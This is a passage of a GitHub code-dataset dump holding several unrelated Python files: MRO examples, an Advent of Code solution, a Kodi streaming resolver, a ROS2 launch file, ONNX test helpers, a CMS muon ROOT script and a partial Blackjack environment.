hasattr(super(), 'draw')\n\n\nclass Shape(Root):\n    def __init__(self, shape_name, **kwargs):\n        self.shape_name = shape_name\n        super().__init__(**kwargs)\n\n    def draw(self):\n        print('Drawing shape... ', self.shape_name)\n        super().draw()\n\n\nclass Moveable:\n    def __init__(self, x, y):\n        self.x = x\n        self.y = y\n\n    def draw(self):\n        print('Drawing @({}, {})'.format(self.x, self.y))\n\n\nclass MoveableAdapter(Root):\n    def __init__(self, x, y, **kwargs):\n        self.moveable = Moveable(x, y)\n        super().__init__(**kwargs)\n\n    def draw(self):\n        self.moveable.draw()\n        super().draw()\n\n\nclass ColoredShape(Shape):\n    def __init__(self, color, **kwargs):\n        self.color = color\n        super().__init__(**kwargs)\n\n    def draw(self):\n        print('Drawing color... ', self.color)\n        super().draw()\n\n\nclass MoveableColoredShape(ColoredShape, MoveableAdapter):\n    pass\n\n\ndef tld():\n    fruit = LoggingDict()\n    fruit['apple'] = 3\n    log.debug(fruit)\n    mc = MoveableColoredShape(\n        color='red', shape_name='triangle', x=10, y=20\n    ).draw()\n\n\nif __name__ == '__main__':\n    pprint(LoggingOD.__mro__)\n    # tld()\n    # cs = ColoredShape(color='black', shape_name='circle')\n    # print(cs.color, cs.shape_name)\n    # cs.draw()\n    # pprint(ColoredShape.__mro__)\n","repo_name":"coghost/awesome-python","sub_path":"code/intermediate/ispr.py","file_name":"ispr.py","file_ext":"py","file_size_in_byte":3716,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"41350183623","text":"# Day 14: Extended Polymerization\n\nimport load_data as ld\nfrom collections import Counter \n\ndata = ld.load_data('example14.txt')\ndata = ld.load_data('input14.txt') \n\ntemplate = data[0]\npair_insertion_rules = {}\n\nfor line in data[2:]:\n    pair, insertion = line.split(' -> ')\n    pair_insertion_rules[pair] = insertion \n\n# 10 steps of pair insertion\nfor i in range(10):\n    next_template = ''\n    for j in range(1, len(template)):\n        sequence = template[j-1:j+1]\n        for k,v in pair_insertion_rules.items():\n            if(sequence == k):\n                next_template += sequence[0] + v \n                continue\n    next_template += template[-1]\n    template = next_template\n    # print(i + 1, len(template))\n\n# Find most common and least common elements\nfrequencies = Counter(template).most_common()\nmost_common = frequencies[0]\nleast_common = frequencies[-1]\nans = most_common[1] - least_common[1]\nprint(ans) # Part 1 answer: 2068 \n\n# Part 2 with help from Jonathan Paulson\ntemplate = data[0]\n\npair_counter = Counter()\nfor i in range(len(template) - 1):\n    pair_counter[template[i]+template[i+1]] += 1\n\nfor i in range(40):\n    C2 = Counter()\n    for k in pair_counter:\n        C2[k[0]+pair_insertion_rules[k]] += pair_counter[k]\n        C2[pair_insertion_rules[k]+k[1]] += pair_counter[k]\n    pair_counter = C2\n\n    if i + 1 in [10, 40]:\n        CF = Counter()\n        for k in pair_counter:\n            CF[k[0]] += pair_counter[k]\n        CF[template[-1]] += 1\n        print(max(CF.values()) - min(CF.values()))\n\n# 5647232997696 too high\n# Part 2 answer: 2158894777814 ","repo_name":"jahearn3/adventofcode2021","sub_path":"day14.py","file_name":"day14.py","file_ext":"py","file_size_in_byte":1583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"28530568978","text":"import requests\nimport xbmcgui\nimport re\n\n\nclass Item():\n    ''' Item class used as DTO '''\n    '''\n        Current Properties:\n            - name\n            - single video url direct link\n            - short title // varies from episode to episode\n            - single picture url direct link\n            - episode number\n            - subtitle(s) // array\n\n    '''\n\n    def __init__(self):\n        pass\n\n\nclass ToggleResolver():\n\n    def __init__(self, link):\n        self.referer = link\n        self.mediaId = link.split('/')[-1]\n        self.episodeResponse = None\n        self.subtitlesResponse = None\n        self.video = None\n        self.getEpisodeResponse()\n        # call self.buildItemDTO() to build item\n\n    def getEpisodeResponse(self):\n        headers = {\n            'Connection': 'keep-alive',\n            'Accept': '*/*',\n            'Origin': 'https://www.mewatch.sg',\n            'Sec-Fetch-Dest': 'empty',\n            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36',\n            'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',\n            'Sec-Fetch-Site': 'cross-site',\n            'Sec-Fetch-Mode': 'cors',\n            'Referer': '{}'.format(self.referer),\n            'Accept-Language': 'en-US,en;q=0.9',\n        }\n\n        params = (\n            ('m', 'GetMediaInfo'),\n        )\n\n        data = '{\"initObj\":{\"Platform\":\"Web\",\"SiteGuid\":\"\",\"DomainID\":\"0\",\"UDID\":\"\",\"ApiUser\":\"tvpapi_147\",\"ApiPass\":\"11111\",\"Locale\":{\"LocaleLanguage\":\"\",\"LocaleCountry\":\"\",\"LocaleDevice\":\"\",\"LocaleUserState\":\"Unknown\"}},\"MediaID\":\"' + self.mediaId + '\"}'\n\n        response = requests.post(\n            'https://tvpapi-as.ott.kaltura.com/v3_9/gateways/jsonpostgw.aspx', headers=headers, params=params, data=data)\n\n        jsonResult = response.json()\n\n        while 'Error' in jsonResult:\n            response = requests.post(\n            'https://tvpapi-as.ott.kaltura.com/v3_9/gateways/jsonpostgw.aspx', headers=headers, params=params, data=data)\n\n            jsonResult = response.json()\n\n\n        self.episodeResponse = jsonResult\n\n        return jsonResult\n\n    def getSubtitlesResponse(self):\n        headers = {\n            'authority': 'sub.toggle.sg',\n            'accept': 'application/json, text/javascript, */*; q=0.01',\n            'sec-fetch-dest': 'empty',\n            'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36',\n            'origin': 'https://www.mewatch.sg',\n            'sec-fetch-site': 'cross-site',\n            'sec-fetch-mode': 'cors',\n            'referer': '{}'.format(self.referer),\n            'accept-language': 'en-US,en;q=0.9',\n        }\n\n        params = (\n            ('mediaId', self.mediaId),\n        )\n\n        jsonResult = []\n\n        try:\n            response = requests.get(\n                'https://sub.toggle.sg/toggle_api/v1.0/apiService/getSubtitleFilesForMedia', headers=headers, params=params)\n\n            jsonResult = response.json()\n\n        except Exception:\n            print('Error fetching subtitles, might be due to requesting too frequently.')\n\n\n        self.subtitlesResponse = jsonResult\n\n        return jsonResult\n\n    def _getAllSubtitles(self):\n        subtitlesResponse = self.getSubtitlesResponse()\n\n        subtitles = []\n\n        for subtitle in subtitlesResponse['subtitleFiles']:\n            subtitles.append(subtitle['subtitleFileUrl'])\n        return subtitles\n\n    def buildItemDTO(self):\n        '''\n            Item class used as DTO\n\n            Current Properties:\n                - show name\n                - single video url direct link\n                - short title // varies from episode to episode\n                - single picture url direct link\n                - episode number\n                - episode name\n                - subtitle(s) // array\n\n        '''\n\n        showName = self._getNameOfShow()\n        videoURL = self._getHighestQualityVideoFile()\n        shortTitle = self._getShortTitle()\n        imageURL = self._getHighestQualityPicture()\n        epNo = self._getEpisodeNumber()\n        epName = self._getEpisodeName()\n        subtitles = self._getAllSubtitles()\n\n        item = Item()\n        item.video = videoURL\n        item.videos = self._getAllVideoURLs()\n        # item.shortTitle = shortTitle\n        item.image = imageURL\n        # item.epNo = epNo\n        item.epName = epName\n        item.subtitles = subtitles\n        return item\n\n    def buildListItem(self):\n        ''' decided to use only 4 attributes\n                1. name == listitem.setLabel(value) and listitem.setInfo({'title': value})\n                2. image == listitem.setArt({'thumb':, 'icon', 'fanart'})\n                3. description == listitem.setInfo({'plot': value})\n                4. video == used in returning as tuple (url, listItem, isFolder)\n\n            defaults:\n                mediatype: video\n                isplayable: true\n        '''\n        item = Item()\n        item.name = u'EP{} - {}'.format(self._getEpisodeNumber(),\n                                        self._getNameOfShow())\n        item.image = self._getHighestQualityPicture()\n        item.description = self._getDescription()\n        item.video = self._getHighestQualityVideoFile()\n\n        self.video = self._getHighestQualityVideoFile()\n\n        listItem = xbmcgui.ListItem()\n        listItem.setLabel(item.name)\n        listItem.setInfo('video', {\n            'title': item.name,\n            'plot': item.description,\n            'mediatype': 'video'\n        })\n\n        listItem.setArt({\n            'thumb': item.image,\n            'icon': item.image\n        })\n\n        listItem.setProperty('IsPlayable', 'true')\n        listItem.setSubtitles(self._getAllSubtitles())\n\n        return listItem\n\n    def _getAllVideoURLs(self):\n        files = []\n        for file in self.episodeResponse['Files']:\n            fileId = file['FileID']\n            url = file['URL']\n            duration = file['Duration']\n            format = file['Format']\n            language = file['Language']\n            # most likely we only want url and format\n            d = {\n                'fileId': fileId,\n                'url': url,\n                'duration': duration,\n                'format': format,\n                'language': language\n            }\n            files.append(d)\n        return files\n\n        \n\n    def getVideoURL(self):\n        self.video = self._getHighestQualityVideoFile()\n        return self.video\n\n    def _getDescription(self):\n        return self.episodeResponse['Description']\n\n    def _getNameOfShow(self):\n        return self.episodeResponse['MediaName']\n\n    def _getAllVideoFiles(self):\n        return self.episodeResponse['Files']\n\n    def _getHighestQualityVideoFile(self):\n        # have todo: fix formats, should display an array?\n\n        FORMAT_TO_USE = 'HLS_Web_Clear'\n\n        for file in self.episodeResponse['Files']:\n            if file['Format'] == FORMAT_TO_USE:\n                return file['URL']\n        return self.episodeResponse['Files'][-1]['URL']\n\n    def _getShortTitle(self):\n        for meta in self.episodeResponse['Metas']:\n            if meta['Key'] == \"Short title\":\n                return meta['Value']\n\n    def _getEpisodeName(self):\n        for meta in self.episodeResponse['Metas']:\n            if meta['Key'] == \"Episode name\":\n                return meta['Value']\n\n    def _getEpisodeNumber(self):\n        for meta in self.episodeResponse['Metas']:\n            if meta['Key'] == \"Episode number\":\n                return meta['Value']\n\n    def _getPictures(self):\n        return self.episodeResponse['Pictures']\n\n    def _getHighestQualityPicture(self):\n        return self.episodeResponse['Pictures'][-1]['URL']\n\n    def _mapFileToURL(self, file):\n        return file['URL']\n\n\nclass SeriesResolver(object):\n    def __init__(self):\n        self.contentId = None\n        self.navigationId = None\n        self.seriesURL = None\n        pass\n\n    def resolveSeriesToEpisodes(self, seriesUrl):\n        ''' main driver '''\n        self.seriesURL = seriesUrl\n        self.getIds()\n        return self.getBlueprint()\n\n    def getIds(self):\n        r = requests.get(self.seriesURL)\n        content = r.content\n        r = r'\\s(\\d+), (\\d+), isCatchup'\n        match = re.search(r, content)\n        contentId = match.group(1)\n        navigationId = match.group(2)\n        self.contentId = contentId\n        self.navigationId = navigationId\n\n    def getBlueprint(self):\n        ''' returns all episodes urls in an array '''\n        headers = {\n            'Accept': '*/*',\n            'Referer': self.seriesURL,\n            'X-Requested-With': 'XMLHttpRequest',\n            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36',\n        }\n\n        params = (\n            ('pageSize', '1000'),\n            ('pageIndex', '0'),\n            ('contentId', self.contentId),\n            ('navigationId', self.navigationId),\n            ('isCatchup', '1'),\n        )\n\n        response = requests.get(\n            'https://tv.mewatch.sg/en/blueprint/servlet/toggle/paginate', headers=headers, params=params)\n        content = response.content\n\n        r = r'<a href=\\\"(https?.*ep\\d+\\/\\d+)\\\"'\n        matches = re.findall(r, content)\n        # matches are all the episodes urls in an array, but contains duplicates\n        normalized = list(set(matches))\n        return normalized\n\n\nclass SeriesInfoResolver(object):\n    def __init__(self):\n        pass\n\n    def resolveMetadata(self, seriesURL):\n        arr = seriesURL.split('/')\n        arr[-1] = 'info'\n        seriesURL = '/'.join(arr)\n        r = requests.get(seriesURL)\n        content = r.content\n        r = r'<img class=\\\"programinfo-item__banner\\\" src=\\\"(.*?)\\\" alt=\\\"(.*?)\\\">'\n        match = re.search(r, content)\n        imageURL = ''\n        seriesTitle = arr[7] # default if fail to parse from regex\n        try:\n            imageURL = match.group(1)\n            seriesTitle = match.group(2)\n            imageURL = 'https://tv.mewatch.sg/' + imageURL\n        except Exception as e:\n            print('[ERROR] resolveMetadata() for {} failed.'.format(seriesURL))\n        return {'image': imageURL, 'title': seriesTitle}\n","repo_name":"lwx-oss/ToggleSG","sub_path":"plugin.togglesg.lwx/packages/resolvers/toggle_resolver.py","file_name":"toggle_resolver.py","file_ext":"py","file_size_in_byte":10314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"809699339","text":"from ament_index_python.packages import get_package_share_directory\nfrom launch import LaunchDescription\nfrom launch.actions import (DeclareLaunchArgument, GroupAction,\n                            IncludeLaunchDescription)\nfrom launch.substitutions import LaunchConfiguration\nfrom launch_ros.actions import PushRosNamespace\nfrom launch.conditions import IfCondition\nimport os\nfrom launch.launch_description_sources import PythonLaunchDescriptionSource\n\n\ndef generate_launch_description():\n\n    share_dir = get_package_share_directory('vox_nav_bringup')\n\n    params = LaunchConfiguration('params')\n    localization_params = LaunchConfiguration('localization_params')\n    namespace = LaunchConfiguration('namespace')\n    use_namespace = LaunchConfiguration('use_namespace')\n    use_rviz = LaunchConfiguration('use_rviz')\n    rviz_config = LaunchConfiguration('rviz_config')\n\n    decleare_params = DeclareLaunchArgument(\n        'params',\n        default_value=os.path.join(\n            share_dir, 'params', 'vox_nav_default_params.yaml'),\n        description='Path to the vox_nav parameters file.')\n\n    decleare_localization_params = DeclareLaunchArgument(\n        'localization_params',\n        default_value=os.path.join(\n            share_dir, 'params', 'robot_localization_params.yaml'),\n        description='Path to the localization parameters file.')\n\n    declare_namespace_cmd = DeclareLaunchArgument(\n        'namespace',\n        default_value='',\n        description='Top-level namespace')\n\n    declare_use_namespace_cmd = DeclareLaunchArgument(\n        'use_namespace',\n        default_value='False',\n        description='Whether to apply a namespace to the vox_nav')\n\n    declare_use_rviz_cmd = DeclareLaunchArgument(\n        'use_rviz',\n        default_value='False',\n        description='Whether to use RVIZ')\n\n    declare_rviz_config = DeclareLaunchArgument(\n        'rviz_config',\n        default_value=os.path.join(\n            share_dir, 'rviz', 'vox_nav_default_view.yaml'),\n        description='Path to the rviz config file.')\n\n    # Specify the actions\n    bringup_cmd_group = GroupAction([\n\n        PushRosNamespace(\n            condition=IfCondition(use_namespace),\n            namespace=namespace),\n\n        IncludeLaunchDescription(PythonLaunchDescriptionSource(\n            os.path.join(share_dir, 'launch',\n                         'vox_nav_core_nodes.launch.py')),\n            launch_arguments={\n            'params': params,\n            'localization_params': localization_params\n        }.items()),\n\n        IncludeLaunchDescription(PythonLaunchDescriptionSource(\n            os.path.join(share_dir, 'launch',\n                                 'rviz.launch.py')),\n                                 condition=IfCondition(use_rviz),\n                                 launch_arguments={\n            'use_namespace': use_namespace,\n            'rviz_config': rviz_config\n        }.items()),\n    ])\n\n    return LaunchDescription([\n        decleare_params,\n        decleare_localization_params,\n        declare_use_rviz_cmd,\n        declare_rviz_config,\n        declare_namespace_cmd,\n        declare_use_namespace_cmd,\n        bringup_cmd_group\n    ])\n","repo_name":"NMBURobotics/vox_nav","sub_path":"vox_nav_bringup/launch/bringup_vox_nav.launch.py","file_name":"bringup_vox_nav.launch.py","file_ext":"py","file_size_in_byte":3172,"program_lang":"python","lang":"en","doc_type":"code","stars":163,"dataset":"github-code","pt":"51"}
+{"seq_id":"73740413598","text":"def matrix_creator(rows):\r\n    matrix = []\r\n    for _ in range(rows):\r\n        line = [int(el) for el in input().split(\", \")]\r\n        matrix.append(line)\r\n    return matrix\r\n\r\n\r\nrows = int(input())\r\nmatrix = matrix_creator(rows)\r\n\r\nfor i in range (len(matrix)):\r\n    new_row = [el for el in matrix[i] if el % 2 == 0]\r\n    matrix[i] = new_row\r\nprint(matrix)\r\n","repo_name":"DilyanTsenkov/SoftUni-Software-Engineering","sub_path":"Python_Advanced/04_Comprehensions/Lab/03_even_matrix.py","file_name":"03_even_matrix.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"28819450689","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\n\nimport onnx.defs\nimport numpy as np  # type: ignore\nfrom onnx import ModelProto\nfrom typing import List, Optional, Text, Sequence\nfrom ..utils import import_recursive\nfrom ..test_case import TestCase\n\n_SimpleModelTestCases = []\n\n\ndef expect(model,  # type: ModelProto\n           inputs,  # type: Sequence[np.ndarray]\n           outputs,  # type: Sequence[np.ndarray]\n           name=None,  # type: Optional[Text]\n           ):  # type: (...) -> None\n    name = name or model.graph.name\n    _SimpleModelTestCases.append(\n        TestCase(\n            name=name,\n            model_name=model.graph.name,\n            url=None,\n            model_dir=None,\n            model=model,\n            data_sets=[(inputs, outputs)],\n            kind='simple',\n        ))\n\n\nBASE_URL = 'https://s3.amazonaws.com/download.onnx/models/opset_{}'.format(\n    onnx.defs.onnx_opset_version())\n\n\ndef collect_testcases():  # type: () -> List[TestCase]\n    '''Collect model test cases defined in python/numpy code and in model zoo.\n    '''\n\n    real_model_testcases = []\n\n    model_tests = [\n        ('test_bvlc_alexnet', 'bvlc_alexnet'),\n        ('test_densenet121', 'densenet121'),\n        ('test_inception_v1', 'inception_v1'),\n        ('test_inception_v2', 'inception_v2'),\n        ('test_resnet50', 'resnet50'),\n        ('test_shufflenet', 'shufflenet'),\n        ('test_squeezenet', 'squeezenet'),\n        ('test_vgg19', 'vgg19'),\n        ('test_zfnet512', 'zfnet512'),\n    ]\n\n    for test_name, model_name in model_tests:\n        url = '{}/{}.tar.gz'.format(BASE_URL, model_name)\n        real_model_testcases.append(TestCase(\n            name=test_name,\n            model_name=model_name,\n            url=url,\n            model_dir=None,\n            model=None,\n            data_sets=None,\n            kind='real',\n        ))\n\n    import_recursive(sys.modules[__name__])\n\n    return real_model_testcases + _SimpleModelTestCases\n","repo_name":"alibaba/x-deeplearning","sub_path":"blaze/thirdparty/onnx/onnx-1.2.2/onnx/backend/test/case/model/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2072,"program_lang":"python","lang":"en","doc_type":"code","stars":4208,"dataset":"github-code","pt":"51"}
+{"seq_id":"10379960759","text":"import ROOT\nimport sys\nfrom mpl_toolkits import mplot3d\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom array import array\n\ninfilename = sys.argv[1]\n\nf = ROOT.TFile.Open(infilename)\nt = f.Get(\"Events\")\nt.Print()\nprint()\n\nt.Print(\"Muon\")\n#exit()\n\noutputFile = ROOT.TFile.Open(\"output_fileStep3.root\", \"RECREATE\");\nouttree = ROOT.TTree('tout', 'Output tree')\n\ndata = {}\n\ndata['nrecoMuons'] = ['muons_pt' , 'muons_eta', 'muons_phi', 'muons_E', 'muons_px', 'muons_py', 'muons_pz', 'muons_p', 'muons_mass']\ndata['recoMuons_muons1Leg'] = ['muons1L_pt', 'muons1L_eta', 'muons1L_phi', 'muons1L_E', 'muons1L_px' , 'muons1L_py', 'muons1L_pz', 'muons1L_p', 'muons1L_mass']\ndata['recoMuons_muonsBeamHaloEndCaps'] = ['muonsBHEC_pt', 'muonsBHEC_eta', 'muonsBHEC_phi', 'muonsBHEC_E', 'muonsBHEC_px', 'muonsBHEC_py', 'muonsBHEC_pz', 'muonsBHEC_p', 'muonsBHEC_mass']\ndata['recoMuons_muonsSplit'] = ['muonsSplit_pt', 'muonsSplit_eta', 'muonsSplit_phi', 'muonsSplit_E', 'muonsSplit_px', 'muonsSplit_py', 'muonsSplit_pz', 'muonsSplit_p', 'muonsSplit_mass']\ndata['recoMuons_muonsnoRPC'] = ['muonsnoRPC_pt', 'muonsnoRPC_eta', 'muonsnoRPC_phi', 'muonsnoRPC_E', 'muonsnoRPC_px', 'muonsnoRPC_py', 'muonsnoRPC_pz', 'muonsnoRPC_p', 'muonsnoRPC_mass']\ndata['recoMuons_t0Correction'] = ['muonst0_pt', 'muonst0_eta', 'muonst0_phi', 'muonst0_E', 'muonst0_px', 'muonst0_py', 'muonst0_pz', 'muonst0_p', 'muonst0_mass']\ndata['recoMuons_LHCSTA'] = ['muonsLHCSTA_pt', 'muonsLHCSTA_eta', 'muonsLHCSTA_phi', 'muonsLHCSTA_E', 'muonsLHCSTA_px', 'muonsLHCSTA_py', 'muonsLHCSTA_pz', 'muonsLHCSTA_p', 'muonsLHCSTA_mass']\n\n\noutdata = {}\n\nfor key in data.keys():\n\toutdata[key] = array('i', [-1])\n\touttree.Branch(key, outdata[key], key + \"/I\")\n\t\n\tfor branch in data[key]:\n\t\toutdata[branch] = array('f', 1024 * [-1.])\n\t\touttree.Branch(branch, outdata[branch], '{0}[{1}]/F'.format(branch, key))\n\n\nnentries = t.GetEntries()\n\nsingle_event = 12\n\nfor i in range(0, nentries):\n\tt.GetEvent(i)\n\t\n\tx = t.recoMuons_muons__RECO\n\ty = t.recoMuons_muons1Leg__RECO\n\tz = t.recoMuons_muonsBeamHaloEndCapsOnly__RECO\n\ts = t.recoMuons_splitMuons__RECO\n\tp = t.recoMuons_muonsNoRPC__RECO\n\tq = t.recoMuons_muonsWitht0Correction__RECO\n\tr = t.recoMuons_lhcSTAMuons__RECO\n\n\tfor n,a in enumerate(x.product()):\n\t\tif n < 1024:\n\t\t\toutdata['muons_pt'][n] = a.pt()\n\t\t\toutdata['muons_eta'][n] = a.eta()\n\t\t\toutdata['muons_phi'][n] = a.phi()\n\t\t\toutdata['muons_E'][n] = a.energy()\n\t\t\toutdata['muons_px'][n] = a.px()\n\t\t\toutdata['muons_py'][n] = a.py()\n\t\t\toutdata['muons_pz'][n] = a.pz()\n\t\t\toutdata['muons_p'][n] = a.p()\n\t\t\toutdata['muons_mass'][n] = a.mass()\n\t\t\toutdata['nrecoMuons'][0] = n+1\n\n\t\n\tfor n, a in enumerate(y.product()):\n\t\tif n < 1024:\n\t\t\toutdata['muons1L_pt'][n] = a.pt()\n\t\t\toutdata['muons1L_eta'][n] = a.eta()\n\t\t\toutdata['muons1L_phi'][n] = a.phi()\n\t\t\toutdata['muons1L_E'][n] = a.energy()\n\t\t\toutdata['muons1L_px'][n] = a.px()\n\t\t\toutdata['muons1L_py'][n] = a.py()\n\t\t\toutdata['muons1L_pz'][n] = a.pz()\n\t\t\toutdata['muons1L_p'][n] = a.p()\n\t\t\toutdata['muons1L_mass'][n] = a.mass()\n\t\t\toutdata['recoMuons_muons1Leg'][0] = n+1\n\n\tfor n, a in enumerate(z.product()):\n\t\tif n < 1024:\n\t\t\toutdata['muonsBHEC_pt'][n] = a.pt()\n\t\t\toutdata['muonsBHEC_eta'][n] = a.eta()\n\t\t\toutdata['muonsBHEC_phi'][n] = a.phi()\n\t\t\toutdata['muonsBHEC_E'][n] = a.energy()\n\t\t\toutdata['muonsBHEC_px'][n] = a.px()\n\t\t\toutdata['muonsBHEC_py'][n] = a.py()\n\t\t\toutdata['muonsBHEC_pz'][n] = a.pz()\n\t\t\toutdata['muonsBHEC_p'][n] = a.p()\n\t\t\toutdata['muonsBHEC_mass'][n] = a.mass()\n\t\t\toutdata['recoMuons_muonsBeamHaloEndCaps'][0] = n+1\n\n\tfor n, a in enumerate(s.product()):\n\t\tif n < 1024:\n\t\t\toutdata['muonsSplit_pt'][n] = a.pt()\n\t\t\toutdata['muonsSplit_eta'][n] = a.eta()\n\t\t\toutdata['muonsSplit_phi'][n] = a.phi()\n\t\t\toutdata['muonsSplit_E'][n] = a.energy()\n\t\t\toutdata['muonsSplit_px'][n] = a.px()\n\t\t\toutdata['muonsSplit_py'][n] = a.py()\n\t\t\toutdata['muonsSplit_pz'][n] = a.pz()\n\t\t\toutdata['muonsSplit_p'][n] = a.p()\n\t\t\toutdata['muonsSplit_mass'][n] = a.mass()\n\t\t\toutdata['recoMuons_muonsSplit'][0] = n+1\n\n\tfor n, a in enumerate(p.product()):\n\t\tif n < 1024:\n\t\t\toutdata['muonsnoRPC_pt'][n] = a.pt()\n\t\t\toutdata['muonsnoRPC_eta'][n] = a.eta()\n\t\t\toutdata['muonsnoRPC_phi'][n] = a.phi()\n\t\t\toutdata['muonsnoRPC_E'][n] = a.energy()\n\t\t\toutdata['muonsnoRPC_px'][n] = a.px()\n\t\t\toutdata['muonsnoRPC_py'][n] = a.py()\n\t\t\toutdata['muonsnoRPC_pz'][n] = a.pz()\n\t\t\toutdata['muonsnoRPC_p'][n] = a.p()\n\t\t\toutdata['muonsnoRPC_mass'][n] = a.mass()\n\t\t\toutdata['recoMuons_muonsnoRPC'][0] = n+1\n\n\tfor n, a in enumerate(q.product()):\n\t\tif n < 1024:\n\t\t\toutdata['muonst0_pt'][n] = a.pt()\n\t\t\toutdata['muonst0_eta'][n] = a.eta()\n\t\t\toutdata['muonst0_phi'][n] = a.phi()\n\t\t\toutdata['muonst0_E'][n] = a.energy()\n\t\t\toutdata['muonst0_px'][n] = a.px()\n\t\t\toutdata['muonst0_py'][n] = a.py()\n\t\t\toutdata['muonst0_pz'][n] = a.pz()\n\t\t\toutdata['muonst0_p'][n] = a.p()\n\t\t\toutdata['muonst0_mass'][n] = a.mass()\n\t\t\toutdata['recoMuons_t0Correction'][0] = n+1\n\n\n\tfor n, a in enumerate(r.product()):\n\t\tif n < 1024:\n\t\t\toutdata['muonsLHCSTA_pt'][n] = a.pt()\n\t\t\toutdata['muonsLHCSTA_eta'][n] = a.eta()\n\t\t\toutdata['muonsLHCSTA_phi'][n] = a.phi()\n\t\t\toutdata['muonsLHCSTA_E'][n] = a.energy()\n\t\t\toutdata['muonsLHCSTA_px'][n] = a.px()\n\t\t\toutdata['muonsLHCSTA_py'][n] = a.py()\n\t\t\toutdata['muonsLHCSTA_pz'][n] = a.pz()\n\t\t\toutdata['muonsLHCSTA_p'][n] = a.p()\n\t\t\toutdata['muonsLHCSTA_mass'][n] = a.mass()\n\t\t\toutdata['recoMuons_LHCSTA'][0] = n+1\n\t\n\n\touttree.Fill()\n\n\noutputFile.Write()\noutputFile.Close()\n","repo_name":"mattbellis/earthshine","sub_path":"CMS_muon_work/Summer2019/look_at_step3.py","file_name":"look_at_step3.py","file_ext":"py","file_size_in_byte":5428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"5783312890","text":"from typing import Optional, Optional, Tuple\nfrom dataclasses import dataclass\nimport random\nfrom abc import ABC, abstractmethod\nfrom enum import Enum\nfrom dataclasses import dataclass\nfrom itertools import product\n\n\n@dataclass\nclass Card:\n    face: str\n    value: int\n\n\nclass Deck:\n    \"\"\"\n    An infinite deck of standard playing cards.\n    \"\"\"\n    cards = [\n        Card('A', 1),\n        *[Card(str(i), i) for i in range(2, 11)],\n        Card('J', 10),\n        Card('Q', 10),\n        Card('K', 10)\n    ]\n\n    def __init__(self, seed: Optional[int] = 0):\n        if seed is not None:\n            self.rand = random.Random(seed)\n        else:\n            self.rand = random\n\n    def draw_card(self) -> Card:\n        return self.rand.choice(self.cards)\n\n\nclass BlackjackAction(Enum):\n    HIT = 0\n    STICK = 1\n\n\n@dataclass(frozen=True)\nclass BlackjackState:\n    player_sum: int\n    usable_ace: bool\n    dealer_showing: int\n    terminal: bool\n\n    @classmethod\n    @property\n    def all_states(cls):\n        \"\"\"\n        Return the set of all possible states.\n        \"\"\"\n        # Player sums range from 2 to 30\n        # Usable ace can be True or False\n        # Dealer showing ranges from 1 to 10\n        # State is either terminal or not\n        return set(cls(*tup) for tup in product(range(2, 31), [False, True], range(1, 11), [False, True]))\n            \n\n@dataclass(frozen=True)\nclass BlackjackStateAction(BlackjackState):\n    action: BlackjackAction\n\n    @property\n    def state(self) -> BlackjackState:\n        \"\"\"\n        Return the state only.\n        \"\"\"\n        return BlackjackState(self.player_sum, self.usable_ace, self.dealer_showing, self.terminal)\n\n\nclass Blackjack:\n    \"\"\"\n    How to use:\n    1. Intialize the class. `reset` is called implicitly.\n    2. Call `play_action` until the game is over.\n    3. If the game is over you must call `reset` to start a new one. You cannot call `play_action`\n    Whether the game is over or not can be checked by the in_play attribute.\n    \"\"\"\n    def __init__(self, deck_seed: Optional[int] = 0, verbose: bool = False):\n        self.deck = Deck(deck_seed)\n        self.verbose = verbose\n        self.reset()\n\n\n    def reset(self) -> Tuple[BlackjackState, int]:\n        self.turn = 'player'  # keep track of whose turn it is\n        self.player_cards = []\n        self.dealer_cards = []\n        self.deal_hands()\n        self.in_play = True\n        if self.player_sum == 21:  # Natural\n            self.in_play = False\n            return self.state, 1\n        return self.state, 0\n\n    @staticmethod\n    def get_hand_sum(cards) -> int:\n        \"\"\" Compute the value of a hand keeping in mind that Ace's can be 1 or 11.\n        The logic tries to get the highest value hand while staying under 21.\n        \"\"\"\n        non_ace_sum = sum(card.value for card in cards if card.face != 'A')\n        # Add in the aces as 11s until\n        num_aces = sum(card.face == 'A' for card in cards)\n        hand_sum = non_ace_sum + num_aces\n        for _ in range(num_aces):\n            # If we can safely switch this ace's value to 11, do it.\n            if hand_sum <= 11:\n                hand_sum += 10\n        return hand_sum\n\n    @property\n    def dealer_sum(self) -> int:\n        return self.get_hand_sum(self.dealer_cards)\n\n    @property\n    def player_sum(self) -> int:\n        return self.get_hand_sum(self.player_cards)\n\n    @property\n    def usable_ace(self) -> bool:\n        if not any(card.face == 'A' for card in self.player_cards):\n            return False\n        elif sum(card.value for card in self.player_cards) >= 12:\n            # There's at least one ace but it can't be switched to 11 (thereby adding 10) without going bust.\n            return False\n        else:\n            return True\n\n    @property\n    def dealer_showing(self) -> Card:\n        return self.dealer_cards[1]\n\n    @property\n    def state(self):\n        \"\"\"\n        Return the state of the environment as viewed by an agent.\n        \"\"\"\n        return BlackjackState(self.player_sum, self.usable_ace, self.dealer_showing.value, not self.in_play)\n\n    def deal_hands(self):\n        \"\"\"\n        Dealer and player are dealt two cards each. The second dealer card is showing.\n        \"\"\"\n        self.player_cards = [self.deck.draw_card() for _ in range(2)]\n        self.dealer_cards = [self.deck.draw_card() for _ in range(2)]\n        if self.verbose:\n            self.render()\n\n    def play_action(self, action: 